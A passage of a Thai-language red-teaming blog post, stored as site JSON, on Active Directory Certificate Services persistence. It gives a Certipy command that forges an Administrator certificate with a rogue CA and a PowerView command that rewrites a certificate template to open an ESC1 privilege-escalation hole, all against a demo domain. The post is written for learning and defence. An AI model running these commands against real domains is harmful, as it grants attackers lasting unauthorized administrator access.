the generated CA with pkiview.msc","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_tkSZ-iL9pyNfusqiZy2EhA.png",1396,784,[17,986,987,988],{},"ใช้ openssl convert certificate และ private key ให้เป็น format ",[149,989,155],{},[17,991,992],{},[37,993],{"alt":994,"src":995,"full-width":41,"width":124,"height":996},"Convert the certificate and private key to .pfx format","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_NoYHQmQXZWCHjFLH9fi31A.png",646,[17,998,999],{},"โดยปกติแล้วถ้ามีการใช้งาน certificate จาก CA ใหม่จะมีการเรียกหา Certification Revocation List (CRL) เราสามารถใช้ openssl สร้าง CRL ขึ้นมาได้ หลังจากทำเสร็จแล้วเรียบร้อยแล้วจะได้ไฟล์ออกมา ในตัวอย่างนี้เป็น root.crl จากนั้นนำไฟล์นี้ไป host ผ่าน http server อีกวิธีการหนึ่งคือตั้งค่าให้เครื่องเป้าหมายไม่ตรวจสอบ CRL",[17,1001,1002],{},"ใช้ Certipy forge certificate ขึ้นมาเหมือนกับใน DPERSIST1 แต่ครั้งนี้เพิ่ม option crl เป็น URL ไปยังไฟล์ root.crl",[96,1004,1006],{"className":159,"code":1005,"language":161,"meta":41,"style":41},"bash$ certipy-ad forge -ca-pfx myCA.pfx -upn administrator@demo.local -subject 'CN=Administrator,CN=Users,DC=DEMO,DC=LOCAL' -crl http:\u002F\u002Fhttp-server\u002Froot.crl\n",[102,1007,1008],{"__ignoreMap":41},[105,1009,1010,1012,1014,1016,1018,1021,1023,1025,1027,1030,1033],{"class":107,"line":108},[105,1011,169],{"class":168},[105,1013,665],{"class":172},[105,1015,787],{"class":172},[105,1017,790],{"class":179},[105,1019,1020],{"class":172}," myCA.pfx",[105,1022,796],{"class":179},[105,1024,799],{"class":172},[105,1026,802],{"class":179},[105,1028,1029],{"class":172}," 'CN=Administrator,CN=Users,DC=DEMO,DC=LOCAL'",[105,1031,1032],{"class":179}," -crl",[105,1034,1035],{"class":172}," http:\u002F\u002Fhttp-server\u002Froot.crl\n",[17,1037,1038],{},[37,1039],{"alt":1040,"src":1041,"full-width":41,"width":124,"height":1042},"Forge a certificate using the rogue CA","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_KcTDvypq9Nk5nj7uyAerCA.png",266,[17,1044,1045],{},[149,1046,213],{},[17,1048,1049],{},"เราสามารถใช้ Certipy นำ certificate ไป authenticate โดยจะได้ hash ของ user ออกมาเช่นเดียวกัน จากในภาพด้านล่างจะเห็นว่ามีการเข้ามาเรียกไฟล์ CRL",[17,1051,1052],{},[37,1053],{"alt":1054,"src":1055,"full-width":41,"width":124,"height":1056},"Authenticate to AD with the certificate","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_ZhO-xrZr4LH1PZc8UpZ0vg.png",668,[17,1058,1059],{},"ถ้าดูใน certsrv.msc จะเห็นว่าไม่มี certificate ของ Administrator และ ไม่มี CA ที่เรา generate ขึ้นมาใหม่ (myCA) ภายใต้ Certification Authority (Local) ขึ้นมาถึงแม้ว่าจะใช้ authenticate ไปแล้วก็ตาม",[17,1061,1062],{},[37,1063],{"alt":1064,"src":1065,"full-width":41,"width":124,"height":1066},"Forged certificate and rouge CA are not showing in certsrv.msc","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_3wnew4r2OLIcsduv0qCZAw.png",430,[52,1068,1070],{"id":1069},"malicious-misconfiguration-dpersist3","Malicious Misconfiguration (DPERSIST3)",[17,1072,1073],{},"เป็นเทคนิคที่ถ้ามีสิทธิ์ไปแก้การตั้งค่า, สิทธิ์การใช้งาน เช่น WriteOwner, WriteDACL ของ components ใน AD CS ที่สำคัญอย่าง",[410,1075,1076,1082,1087,1096],{},[63,1077,1078,1081],{},[149,1079,1080],{},"CA server’s AD computer"," object",[63,1083,1084],{},[149,1085,1086],{},"CA server’s RPC\u002FDCOM server",[63,1088,1089,847,1092,1095],{},[149,1090,1091],{},"Descendant AD object หรือ container",[102,1093,1094],{},"CN=Public Key Services,CN=Services,CN=Configuration,DC=\u003CDOMAIN>,DC=\u003CLOCAL>"," (เช่น Certificate Templates container, Certification Authorities container, NTAuthCertificates object)",[63,1097,1098,1101],{},[149,1099,1100],{},"AD groups delegated rights to control AD CS"," (เช่น built-in Cert Publishers group)",[17,1103,1104],{},"ท่านึงที่ทำได้คือเพิ่มสิทธิ์ให้ไปแก้ไข certificate template กับ user ที่เราเข้าถึงได้ ตัวอย่างด้านล่างให้สิทธิ์ Full Control ไปที่ User template กับ Alice Smith",[17,1106,1107],{},[37,1108],{"alt":1109,"src":1110,"full-width":41,"width":1111,"height":973},"Assign User template Full Control access to Alice Smith","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_5OQH7S2fk8lDOTHvFDqXMg.png",1330,[17,1113,1114,1115,1118],{},"หลังจากนั้น ถ้าต้องการ escalate ก็สามารถไป set ค่า ",[149,1116,1117],{},"mspki-certificate-name-flag"," ให้เป็น 1 เพื่อเปิด ENROLLEE_SUPPLIES_SUBJECT (เทคนิค ESC1) ด้วยคำสั่งด้านล่าง",[96,1120,1122],{"className":98,"code":1121,"language":100,"meta":41,"style":41},"PS> Set-DomainObject -SearchBase \"CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=demo,DC=local\" -Identity User -XOR @{'mspki-certificate-name-flag'=1} -Verbose\n",[102,1123,1124],{"__ignoreMap":41},[105,1125,1126],{"class":107,"line":108},[105,1127,1121],{},[17,1129,1130],{},[37,1131],{"alt":1132,"src":1133,"full-width":41,"width":124,"height":1134},"Edit the template as Alice Smith","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_fKyKM_3ZuyMgFpRYrcxQtg.png",657,[17,1136,1137],{},"สังเกตดูผลของ certify จะเห็นว่า หลังจากแก้ไขค่าด้วยคำสั่งด้านบนแล้ว template จะมีช่องโหว่ ESC1 ทำให้ escalate สิทธิ์ได้",[17,1139,1140],{},[37,1141],{"alt":1142,"src":1143,"full-width":41,"width":1144,"height":1145},"Before and after editing the template","\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002F1_JtD_401_7ixBaXfhYytsDQ.png",1288,529,[45,1147],{},[17,1149,1150],{},"ในบทความนี้เราได้เห็นเทคนิคต่าง ๆ ในการทำ Persistence ด้วย Active Directory Certificate Services (AD CS) ตั้งแต่การขโมย และ ขอ certficate ใหม่เพื่อเข้าถึง user account หรือ domain ได้อย่างต่อเนื่อง การ forge certificate ด้วย CA ที่ถูกขโมยออกมา และ การตั้งค่า AD CS ให้เกิดช่องโหว่ เทคนิคเหล่านี้แสดงให้เห็นว่า AD CS สามารถเป็นช่องทางให้ผู้โจมตีเข้าถึงระบบอย่างต่อเนื่องแม้จะมีการป้องกันต่าง ๆ ดังนั้น การเข้าใจและป้องกันการใช้ AD CS ในทางที่ไม่ถูกต้องเป็นสิ่งสำคัญในการเสริมความปลอดภัยให้กับเครือข่ายและระบบขององค์กร",[17,1152,1153],{},"สำหรับวันนี้ขอบคุณทุกท่านที่สละเวลามาอ่านบทความนี้ ไว้พบกันใหม่ในตอนถัดไปครับ",[17,1155,1156],{},[149,1157,1158],{},"References:",[17,1160,1161,1166,1167,1172,1173],{},[23,1162,1165],{"href":1163,"rel":1164},"https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf",[92],"Certified Pre-Owned"," by ",[23,1168,1171],{"href":1169,"rel":1170},"https:\u002F\u002Ftwitter.com\u002Fharmj0y",[92],"Will Schroeder"," & ",[23,1174,1177],{"href":1175,"rel":1176},"https:\u002F\u002Ftwitter.com\u002Ftifkin_",[92],"Lee Christensen",[17,1179,1180],{},[23,1181,647],{"href":647,"rel":1182},[92],[17,1184,1185],{},[23,1186,222],{"href":222,"rel":1187},[92],[17,1189,1190],{},[23,1191,1192],{"href":1192,"rel":1193},"https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket",[92],[45,1195],{},[1197,1198,1199],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}",{"title":41,"searchDepth":340,"depth":340,"links":1201},[1202],{"id":14,"depth":340,"text":15,"children":1203},[1204,1205,1206],{"id":29,"depth":367,"text":30},{"id":49,"depth":367,"text":50},{"id":730,"depth":367,"text":731},"2026-01-15","AD CS ไม่ได้เป็นแค่ระบบออกใบรับรอง แต่ผู้โจมตีใช้เป็นจุดฝังตัวเพื่อคงสิทธิ์ในระบบได้ บทความไล่เทคนิค persistence ผ่าน AD CS ทีละขั้น",false,"md",null,"\u002Fimages\u002Fblogs\u002F2026-01-15-adcs-persistence\u002Fthumb.png","th","adcs-persistence",{},"\u002Fblogs\u002F2026-01-15-adcs-persistence",{"title":6,"description":1208},"blogs\u002F2026-01-15-adcs-persistence",[1220,1221,1222,1223],"active-directory","windows-security","red-teaming","tls-ssl","ARTICLES","Bnq2WgfO-quMcBcP8R84shjdHGFgryGJ6FZy5ESGB_s",[1227,1238,1247],{"id":1228,"link":1229,"title":1230,"description":1231,"image":1232,"date":1233,"type":1224,"author":1234,"tags":1235},"content\u002Fblogs\u002F2026-08-10-ker-delg-pt1.md","ker-delg-pt1","Kerberos Delegation Attacks Part 1: Unconstrained Delegation","Kerberos Delegation ถูกสร้างมาเพื่อรองรับ multi-tier application แต่ trust relationship ที่ให้สิทธิ์สูงของมันก็เปิดช่องให้ attacker ปลอมเป็นผู้ใช้และทำ lateral movement ได้ถ้าตั้งค่าผิด","\u002Fimages\u002Fblogs\u002F2026-08-10-ker-delg-pt1\u002Fimage-20260803-161404.426Z-1207.png","2026-08-10","Wisarud Wongta",[1236,1222,1220,1237,1221],"pentest","kerberos",{"id":1239,"link":1240,"title":1241,"description":1242,"image":1243,"date":1244,"type":1224,"author":1245,"tags":1246},"content\u002Fblogs\u002F2026-01-05-introduction-to-adcs.md","introduction-to-adcs","Introduction to Active Directory Certificate Services (AD CS)","รู้จัก Active Directory Certificate Services ว่าคืออะไร ทำงานร่วมกับ AD อย่างไร และทำไมถึงกลายเป็นเป้าหมายที่ attacker ใช้ยกระดับสิทธิ์ในองค์กร","\u002Fimages\u002Fblogs\u002F2026-01-05-introduction-to-adcs\u002Fa12171.jpg","2026-01-05","Wisawa Ploypradub",[1220,1221,1223,1236],{"id":1248,"link":1249,"title":1250,"description":1251,"image":1252,"date":1253,"type":1224,"author":1254,"tags":1255},"content\u002Fblogs\u002F2025-07-23-microsoft-officially-deprecates-ntlm-authentication-protocol-in-windows.md","microsoft-officially-deprecates-ntlm-authentication-protocol-in-windows","NTLM Authentication กำลังจะกลายเป็นอดีตจริงหรือ ?","Microsoft ออกมาประกาศว่า NTLM จะถูก deprecated อย่างเป็นทางการใน Windows 11 24H2 และ Windows Server 2025","\u002Fimages\u002Fblogs\u002F2025-07-23-microsoft-officially-deprecates-ntlm-authentication-protocol-in-windows\u002Fimages-416a6d4f-ce6a-4320-b51a-d5cc4e3b18d9.jpg","2025-07-23","Athittaya Saeloh",[1221,1220,1237,1236,1222],[1257,1266],{"id":1258,"link":1259,"title":1260,"description":1261,"image":1262,"date":1263,"type":1224,"author":1264,"tags":1265},"content\u002Fblogs\u002F2021-08-27-domain-controller-post-exploitation.md","domain-controller-post-exploitation","Domain Controller Post-exploitation","ยึด domain admin ได้แล้วทำอะไรต่อ ทางเลือกในการขยายผลบน Domain Controller ที่ทั้ง pentester และ attacker ใช้ เริ่มจากการเข้าถึง database ของ Active Directory","\u002Fimages\u002Fblogs\u002F2021-08-27-domain-controller-post-exploitation\u002Ffull.png","2021-08-27","Incognito Lab",[1220,1221,1236,1237],{"id":1239,"link":1240,"title":1241,"description":1242,"image":1243,"date":1244,"type":1224,"author":1245,"tags":1267},[1220,1221,1223,1236],1791857895527]